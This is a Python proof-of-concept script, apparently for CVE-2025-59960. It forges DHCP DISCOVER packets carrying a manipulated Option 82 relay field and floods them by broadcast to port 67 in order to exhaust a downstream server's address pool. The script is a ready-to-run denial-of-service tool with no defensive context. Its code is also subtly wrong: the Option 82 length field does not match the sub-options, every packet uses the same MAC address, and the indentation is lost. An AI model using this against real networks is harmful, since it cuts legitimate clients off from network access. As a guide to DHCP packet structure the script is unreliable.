#!/usr/bin/env python3
# CVE-2025-59960 PoC - DHCP Address Pool Exhaustion
# This PoC demonstrates sending malformed DHCP DISCOVER with Option 82
# to trigger address pool exhaustion on downstream DHCP server
import socket
import struct
import random
def create_dhcp_discover_with_option82():
"""Create a DHCP DISCOVER packet with malicious Option 82"""
# DHCP Message Type: Discover (1)
# Hardware Type: Ethernet (1)
# Hardware Address Length: 6
# Hops: 0
# Transaction ID: random 4 bytes
xid = random.randint(0, 0xFFFFFFFF)
# Create DHCP header
packet = struct.pack('!4B',
1, # op: BOOTREQUEST
1, # htype: ETHERNET
6, # hlen: MAC address length
0 # hops
)
packet += struct.pack('!I', xid) # Transaction ID
packet += struct.pack('!HH', 0, 0) # Seconds elapsed, Flags
packet += b'\x00' * 4 # Ciaddr (client IP)
packet += b'\x00' * 4 # Yiaddr (your IP)
packet += b'\x00' * 4 # Siaddr (server IP)
packet += b'\x00' * 4 # Giaddr (relay IP)
# MAC address (attacker)
packet += b'\x00\x11\x22\x33\x44\x55'
packet += b'\x00' * 202 # Padding for hardware address
# Magic cookie
packet += b'\x63\x82\x53\x63'
# DHCP Options
# Option 53: DHCP Message Type
packet += struct.pack('!BB', 53, 1) # DHCP DISCOVER
packet += struct.pack('!B', 1)
# Option 82: Relay Agent Information (malicious)
# Circuit ID and Remote ID can be manipulated
packet += struct.pack('!BB', 82, 6)
packet += struct.pack('!BB', 1, 4) # Circuit ID sub-option
packet += b'\x00\x01\x02\x03' # Fake circuit ID
packet += struct.pack('!BB', 2, 2) # Remote ID sub-option
packet += b'\xAA\xBB' # Fake remote ID
# Option 55: Parameter Request List
packet += struct.pack('!BB', 55, 3)
packet += struct.pack('!BBB', 1, 3, 6)
# Option 255: End
packet += struct.pack('!B', 255)
return packet
def send_dhcp_flood(target_broadcast='255.255.255.255', count=1000):
"""Send multiple DHCP DISCOVER packets to exhaust address pool"""
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
print(f"[*] Sending {count} malformed DHCP DISCOVER packets...")
for i in range(count):
packet = create_dhcp_discover_with_option82()
try:
sock.sendto(packet, (target_broadcast, 67))
if i % 100 == 0:
print(f"[+] Sent {i} packets...")
except Exception as e:
print(f"[-] Error sending packet: {e}")
sock.close()
print("[*] Flooding complete")
if __name__ == '__main__':
import sys
count = int(sys.argv[1]) if len(sys.argv) > 1 else 1000
send_dhcp_flood(count=count)